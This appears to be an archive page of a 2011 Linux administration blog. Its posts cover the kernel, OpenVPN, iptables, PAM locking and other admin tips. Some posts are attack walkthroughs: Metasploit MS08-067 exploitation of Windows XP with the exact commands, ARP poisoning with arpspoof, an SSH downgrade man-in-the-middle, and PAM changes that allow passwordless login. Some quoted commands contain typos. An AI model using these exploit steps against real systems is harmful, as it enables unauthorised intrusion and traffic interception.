Friday, August 19, 2011

Linux Kernel Architecture

Linux kernel is composed of five main sub system.


The Process Scheduler (SCHED)

The Memory Manager (MM)

Virtual File System (VFS)

Network Interface (NET)

Inter-Process Communication (IPC).

Linux kernel provide virtual interface to user process. Each subsystem of kernel have a set of data structure and corresponding program to work on that data structure. To understand the linux kernel internals we need to elaborate each of the subsystem. The data structure of each of subsystem need to be understand first.

Memory usage by linux process

Following command can tell memory usage by individual process in linux.


root# ps aux

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND

root 1 0.0 0.0 2020 636 ? Ss Jan 21 0.02 init[5]

In the above given output VSZ stands for Virtual Set Size and RSS stands for Resident Set Size. These two VSZ and RSS tell how much memory process are taking up.

But output by ps is not really correct. The reason is very simple, as we know running process use many loaded shared libraries. ps command also include space used by those libraries, but the fact is that same libraries can be used by many processes. To know memory map of loaded shared libaries used by a particular process we can use pmap command.

root# pmap 2939

(Here 2939 is process id)

VPN connectivity using OpenVPN

setup OpenVPN server on RHEL 5.1 and client on windows xp.


I installed OpenVPN rpm on my linux system by downloadingopenvpn-2.0 from download.fedora.redhat.com/pub/epel.

During installation i got error of dependency on lzo2 package i also installed lzo2 and continued with openvpn installation. After installation of openvpn rpm i created server.conf in /etc/openvpn directory with following statement

root# vi /etc/openvpn/server.conf

local 192.168.11.83 port 8888 dev tap0 secret key.txt persist-key persist-tun ping-timer-rem ping-restart 60 ping 10 comp-lzo user nobody verb 3

--
As i used tap0 device for vpn interface. I added this tunnel device using following command

openvpn --mktun --dev tap0 After creating tunnel device i added added my interface and tunnel device into a bridge using following command

 brctl addbr br0
 brctl addif br0 eth1
brctl addif br0 tap0

Now i assigned ip to these interfaces

 ifconfig eth0 0.0.0.0 promisc up
 ifconfig tap0 0.0.0.0 promisc up

I assigned ip by DHCP so

dhclient br0

Now my ethernet bridging for OpenVPN setup is ok and last thing i needed to do to copy key.txt that i geneted on windows client into

 /etc/openvpn folder.

Finally i started by OpenVPN Server

 root# service openvpn start

I downloaded openvpn for windows and installed that on my windows xp machine.-Now client need to be configured on windows xp. For that i open c:\program files\openvpn\config folder and created a test.opvn file with following entries

remote 192.168.11.83
port 8888
dev tap
secret key.txt
ping 10
ifconfig-nowarn
comp-lzo
verb 3

I ensured that key.txt file exist in

c:\program files\openvpn\config folder.

Now i connected my windows openvpn client to openvpn server running on linux system Note: I followed the instruction from url http://openvpn.net/index.php/open-source/documentation/install.html?start=1

vmware advantage over others

Now a days three virtualization technology are popular in market. Citrix's Xen, Microsoft Hyper V and Vmware. Vmware is certainly a market leader. After reading some of discussions and articles i concluded that ther are some striking feature in vmware that is not availabe in its counterparts. Some of them are


Storage motion

DRS

Memory overcommit

vmware Vshere

Although vmware price is one of the issue but it is first choice in enterprise level virtulization. In Desktop virtualization it has lot to do.

How large is the virtual address space for a process in Red Hat Enterprise Linux?

Many times query arise that how much RAM is supported by Redhat Enterprise Linux 5. Redhat knowledge base says follwing on this matter.

This depends on the capabilities of the CPU, the kernel running on the CPU, and how the application was compiled. CPUs such as the Intel Pentium 4 and the AMD Athlon are 32-bit processors, will use 32-bit kernels, and will run applications that are compiled and linked for a 32-bit environment. In contrast, most later processor models are capable of running 64-bit code This is often indicated as "AMD64", "EM64T", "x86-64" or even "x64". They can boot either 32-bit or 64-bit kernels, and, when using a 64-bit kernel, can execute both 32-bit and 64-bit applications.

In each of these cases, the virtual address space available to the executing application is different, as shown in the table below:

CPU             Kernel              Application     Virtual Address Size


32 or 64 bit  32 bit (smp *)      32 bit          slightly under 3GB

32 or 64 bit 32 bit (hugemem **) 32 bit      slightly over 3.7GB

64 bit          64 bit                      32 bit        4GB

64 bit          64 bit                      64 bit         more than 256GB


GNOME vs KDE

Recently i followed some discussion by professional on GNOME vs KDE as desktop.


My conclusion is that currenly GNOME has edge over KDE. GNOME is

considered to be more stable, reliable and easier to handle than KDE.

Many people think that XFCE is faster than these two GNOME and KDE but

some feel that benmarking test unable to proof that XFCE is faster.

Some believe that KDE 3.5 was fine but KDE 4.x is not as good. Many of

professional prefer FlushBox.

But final answer is 'What you like and what you use i mean taste of user'

Fastest Linux distribution

It depends on many factors such as kernel , file system etc. Linux kernel can be tuned for various parameter.We can tune and prioritize both process and I/O scheduling, processor, memory and I/O affinity,paging, shared and other memory-VM, etc. I mean it depend on your tuning as well as how much application and daemons are running. But question still remain relevant because with same sort of application and daemon and tuning same kernel parameter which distribution run fastest.


As performance is concern many expert believe that BSD(http://www.freebsd.org/), Arch(http://www.archlinux.org/) and Gentoo (http://www.gentoo.org/) perform better than others. Some techie also prefer compiling own linux from linux from scratch(http://www.linuxfromscratch.org/). Although i never used any of these preferred distro but my experience say for better performance slackware (http://www.slackware.com/) can also be one of choice.One important point to remind that there is nothing as fastest linux distribution its all depends on your taste, and how much you tune and customize linux for you. For latest trends in popularity you can visit distrowatch.com

First experience of windows xp hacking

From last few days i have been working with snort (Intrusion Detection System ) to make network more secure. To test snort setup i used Metasploit tool. Between this i decided to test my skill on metasploit by hacking a windows xp system Since i am using Backtrack live cd i found metasploit in directory /pentest/exploits/framework3, there i found program msfconsole


root# cd /pentest/exploits/framework3

root#./msfconsole

Now i am inside metasploit

msf>

I used following command to hack a windows xp system (sp2) with ip 192.168.1.5 from my system (192.168.1.3) , inside metasploit

msf> use windows/smb/ms08_067_netapi

msf> show options

msf> set RHOST 192.168.1.5

msf>set LHOST 192.168.1.3

msf>set PAYLOAD generic/shell_bind_tcp

msf>exploit

After that exploit start with gave me message that a seesion created. Cheers i hacked a windows, it was so easy. One thing is also important here that for movement between sessions we can use

msf> sessions -i 1

Hacking is really fun but its really not good that windows systems are so vulnerable.
Enjoy Hacking !
Helpful links are http://www.metasploit.com/, http://www.backtrack-linux.org/

console vs terminal

The main difference between console and terminal in linux is that console uses the whole screen to enter line-oriented commands in text mode while terminal emulate a console within a window normally created by x window environment. In linux there are six consoles available, each one is accessible with the shortcut keys Ctrl-Alt-F1 to Ctrl-Alt-F6.


I can say console is shell without running X. For terminal will be available within running X. More or less both are same in functionality but have some behavioral differences, like terminal is flexible and we can have more than 6 terminal open at same time but require x windows. Using console mean no mouse , no graphics just type command and get output.

How to use xargs?

xrgs command is used where we need to pipe stdout to stdin in the manner that each argument pass one at a time instead of a batch. For example suppose you need to delete all avi files(files that have avi extension) from /root folder, then you can use xargs in following way


root# find /root -name *.avi -type f -print
xrgs rm -f

But sometimes you may face error if you a very long list of avi files in /root. In this case just modify your command in following ways

root# find /root -name *.avi -type f -print0
xrgs -0 rm -f

For achieving above given task you can also use -exec with find in following ways

root# find /root -name *.avi -type f -exec rm -rf {} \;

Or if you want to little bit more scripty , try following

move into /root first

root# cd /root

then

root# for a in *;do rm -f $a;done

Packet crafting using scapy

I was always in search of a tool that allow me create own network packet by giving values in protocol fields. My search ends with scapy. scapy is great tool to craft tcp/ip packets and send it over network. This is how i used scapy to test my firewall rule,


I sent a packet which has TCP flags syn set for port number 80 on destination 192.168.1.3

(Note: The lines in {} is comment)

root#scapy

>>>ans,uans=sr(IP(dst="192.168.1.3")/TCP(sport=1100,dport=80,flags="S")) {sr stand for send/receive}

Finished to send 1 packet ....

>>>for snd,rcv in ans: {don't forget to mention : at end}

... {put space here} print snd.seq,rcv.seq

... {press enter key}

0 12987

So, i got the sequence number of sent packet as well of received packet.

Setup mobile broadband on linux

I am using sony ericsson k790i with Aircel(India) connection. To setup mobile broadband on my linux (BackTrack 4) laptop, i done following steps.


Step1. I plugged my mobile to my laptop (using usb data cable).

Step2. I issued command wvdialconf which detected usb modem of my mobile and created conf file /etc/wvdial.conf

root# wvdialconf

root# more /etc/wvdial.conf

Step3. I edited /etc/wvdial.conf and ensure following entries in file. You may found most of entries already present in file.

root# vi /etc/wvdial.conf

[Dialer Defaults]

Init1 = ATZ

Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0

Init3= AT+CGCDONT=1,"IP","aircelgprs","",0,0

Modem Type= USB Modem

Phone = *99#

ISDN = 0

Stupid Mode=1

Password = blank

New PPPD = yes

Username = blank

Modem = /dev/ttyACM0

FlowControl=NOFLOW

Baud = 460800

(Remember that aircelgprs is my APN and username and password is blank)

Step4. Now issue command wvdial and after few messages my laptop get connected to internet.

How to stop syn flood attack using iptables ?

This is what i done to stop syn attack on my linux system.


iptables -N syn-flood

iptables -A INPUT -p tcp --syn -j syn-flood

iptables -A syn-flood -p tcp --syn -m hashlimit \

--hashlimit 200/sec --hashlimit-burst 3 --hashlimit-htable-expire

300000 --hashlimit-mode srcip --hashlimit-name testlimit -j RETURN

iptables -A syn-flood -m recent --name blacklist --set -j DROP

iptables -A INPUT -j syn-flood

Now let me explain the rules i added in iptables. First of alli

created a chain named syn-flood.

iptables -N syn-flood

Then i forwarded all tcp syn packet to that chain

iptables -A INPUT -p tcp --syn -j syn-flood

After that i used hashlimit match which is a extension of limit match.

In this match i created hash table of syn request ,ip address wise. If

syn request exceed 200 request per second then Return the packet.

--hashlimit-htable-expire determine how much time idle hashtable entry

expire. --hashlimit-name specify specific name of this hashtable it

can be viewed inside /proc/net/ipt_hashlimit directory.

ptables -A syn-flood -p tcp --syn -m hashlimit \

--hashlimit 200/sec --hashlimit-burst 3 --hashlimit-htable-expire

300000 --hashlimit-mode srcip \ --hashlimit-name testlimit -j RETURN

To put the ip doing syn flooding in black list i used 'recent' match

as following. In given rule packet matched based on recent event that

is hashtable rule and create a new list (--name) named blacklist and

make new entries(--set) in it and then DROP packet.

iptables -A syn-flood -m recent --name blacklist --set -j DROP

Suggest me if you have any better idea.

Turn off window machine from remote linux machine

Using samba you can turn off windows machine from remote linux machine.Use net rpc command in following way


net rpc SHUTDOWN -I -U < windows username>

For example to shutdown windows machine with ip 192.168.5.5 with username administrator , use following

root# net rpc SHUTDOWN -I 192.168.5.5 -U administrator
 
you can also create user remotely via linux pc


by entering command

#net rpc user ADD -I (ip of window pc) (user name) (password) -U administrator

Save session and resume it in another terminal

Suppose you are working on your office server and want to save the session and resume it from another location like suppose from your home. screen command is used for this purpose. Let us take an easy example to understand it. Suppose you are on console 2 (alt+ctrl+f2) and issue following commands


root# screen -S test

root#echo hello

Now move to console 3 (alt+ctrl+f3) and type following command

root# screen -d -R test (here -R is to restore the session)

Check the output , i hope you got the magic of screen command. To exit from session use exit command.

Lock account in linux

To lock a user account in linux following command can be used


root#passwd -l

For example

root#passwd -l user1

Comand will lock user1, i mean user1 cant login on system now.

To get status of locking status , we can use passwd command in following way

root# passwd -S

For example

root# passwd -S user1

If it shows LK that means account is locked

And if account has to be unlocked , use passwd in following ways

root#passwd -u

For example

To unlock account user1

root#passwd -u user1

But what if you want to lock account after a given number of failed login attempt. Suppose you want to lock account after 3 unsuccessfull login attempt. pam_tally pam module is used for this purpose , i am going to discuss implementation of this module in my next article.

You can try following commands to list all locked users


passwd -S -a  grep LK | cut -d " " -f1
or
passwd -S -a | awk '/LK/{print $1}'

Lock account in linux using pam_tally or pam_tally2

pam_tally pam module can be used to lock a account after centain number of failed login attempt. For example if you want to lock user after 3 failed login attempt. Then configure you /etc/pam.d/system-auth file in following ways


auth required pam_tally.so onerr=fail deny=3

(Remember to put this line above the line auth required pam_unix.so)

account required pam_tally.so reset

Now save the system-auth file and try it with some user. This worked for my RHEL 5.4 system.

But suppose you have some extended requirement to lock user for few seconds or minutes after invalid login attempts. You can try pam_tally2 pam module. Like in following statement unlock_time is 5 minute after get locked for 3 unsuccessful login attempt. Edit for /etc/pam.d/system-auth file in following ways

auth required pam_tally2.so deny=3 unlock_time=300

To get information about when last invalid login attempted you can use following command

root#pam_tally2 -u

To manually Unlock the account use following command

root#pam_tally2 -r -u

To get help try command man pam_tally 2 .

How to block pen drive in linux?

The easiest way to disable usb storage device in linux is create following file


/etc/modprobe.d/no-usb

And add following line inside the file

install usb-storage /bin/true

Cheers usb-storage device blocked for your linux system now. I done this on my RHEL 5.4 system.

Lock console in linux

Suppose you are working in text mode may be in console or ,remotely using telnet or ssh and you want to lock your screen of working. vlock command is used for this purpose. For example


root# vlock

This tty is now locked.

Please enter the password to unlock.

Supplying password will unlock the screen.

If you are graphical screen xlock and xscreensaver command will do same. I installed vlock through yum repository on my rhel 5.4 system,
root#yum install vlock
But xlock (now xlockmore) is not present in repository so try following link http://rpm.pbone.net/index.php3/stat/4/idpl/2122967/com/xlockmore-5.18-2.1.el5.rf.i386.rpm.html .

TCP Wrapper Determine TCP Wrapper Support

TCP Wrapper is a host-based Networking ACL system, used to filter network access to our linux system. Remember libwrap is the actual library that implement TCP Wrapper. But How we will determine which daemons support TCP Wrapper, i mean which server application are compiled with libwrap? . Use the following command

root# egrep libwrap /usr/bin/* /usr/sbin/*
/usr/sbin/vsftpd
/usr/sbin/sshd
.....
While configuring TCP Wrapper you can use base name , i mean in my example vsftpd and sshd to set access right. For example you can set following in /etc/host.deny

sshd : ALL

To deny ssh access to all computers.

SSH Session Hacking

SSH session can be hacked using MiTM(Man in The Middle) attack. This attack is known as ssh downgrade attack. Let us understand it. Suppose you are accessing machine C from machine A using ssh


A-------------------------------->C

Now suppose there is a machine B which come in middle and alter request that coming from A and forward it to C and vice versa.

A------(ssh request)--->B----------------->C

Now A send ssh request to C. C replies that it support Version1 and Version 2 of SSH protocol.

A--------------->-----------------C

A-----<-----(C only support V1) B-----<------C(support v1 and v2 of ssh)

But B alter packet and pass to A that C only support versio1 of SSH.

A-------->(ssh1)-----------B(sniff packet)------>------C

Since version1 of ssh is insecure by sniffing packets you can get login and password details passed in ssh. This attack is know as ssh downgrade attack, a MiTM implementation. You can try this using ettercap(http://ettercap.sourceforge.net/).

Set blank root password in linux

As like windows O.S. how to set blank password for a user ?


We have a command

# passwd -d (User name)

It will set blank Password for user but what about without password login?

ie There is no need of password prompt by linux

ya i am talking about MY fev. topic "PAM"

For that we have to change in "/etc/pam.d/login" file
.....................................................

auth optional system-auth

instead of :->

auth include system-auth
...........................................................

But on that condition users can login without password prompt in text mode only.

Linux PAM , Lock account in Linux using pam_listfile.so

Dear friend as an admin every day my boss gives a list of different users for login denied


so i use :->

root#passwd -l user1

for that users for locking &

root#passwd -u user1

for unlocking them

but i have 100 users lists every day

so it makes me busy for 1 hr every day

suddenly i remember about file /etc/vsftpd/ftpuser

then for the help of pam.d i applied it to login attempt

I just write in top of the file

root# vi /etc/pam.d/login

auth required pam_listfile.so item=user sens=deny file=/etc/logindeny onerr=succeed

:wq!

& then i create a file & write the name of user which would be denied for that day

root# vi /etc/logindeny

user1

user2

user3

user4

:wq!
& now every day i have to edit only that file & my users are denied for the day

It saves my time daily.

ARP Poising

When i discuss about hacking tips and talk about getting network traffic of other host on your host many ,many people get confused. Believe me its very simple, suppose your host in the network in which victim host is present. You can pollute ARP cache of victim host to forward traffic designated for other host get forwarded to your host.


To understand the complete process, let us understand which happen when one host try to access other host in same network, when source host need mac address of destination host. ARP protocol come in place to get mac address of host by broadcasting IP address. I mean suppose host A(192.168.5.1) need to access host B(192.168.5.2), ARP on host A broadcast message 'who has ip 192.168.5.2 tell me your mac' , in normal circumstances B will reply with its MAC address , but in case of ARP poising another attacker host suppose C , reply with its mac address pretending that ip belong to it. So the data that should go to B will go to C. And suppose ip forwarding is enabled on C , A will not notice any hacking but C is here Man in Middle.

I use arpspoof command to do this basic hacking

root# arpspoof -t 192.168.1.1 192.168.1.2

In above statement victim is 192.168.1.1(i example its host A), and 192.168.1.2 is what attacker pretend to be (In given example its host B) and this command will run on attacker machine(I given example host C)

Linux kernel security

Where security is top priority , we first focus on security of Linux kernel. Although by default linux kernel are not very secure , there are important linux kernel patches to secure your linux box. These kernel patches are SELinux , AppArmor and Grsecurity. These patches control access between processes to objects, processes to processes and objects to objects.


SELinux by default included with Redhat's CentOS/RHEL/Fedora , Debian /Ubuntu , Suse , Slackware and many other distribution. Implementation of SeLinux require high skill sets.

AppArmor released and maintained by Novell under GPL license. Its an alternative of SeLinux and very effective in securing applications. AppArmor is default in OpenSuse and Suse Enterprise Linux. Implementation of AppArmor also require medium level skill sets.

Grsecurity is a set of patches for linux kernel with the focus of enhancing security. Its implement RBAC(Role Based Access Control). Its available for any linux distribution. Its easy to implement.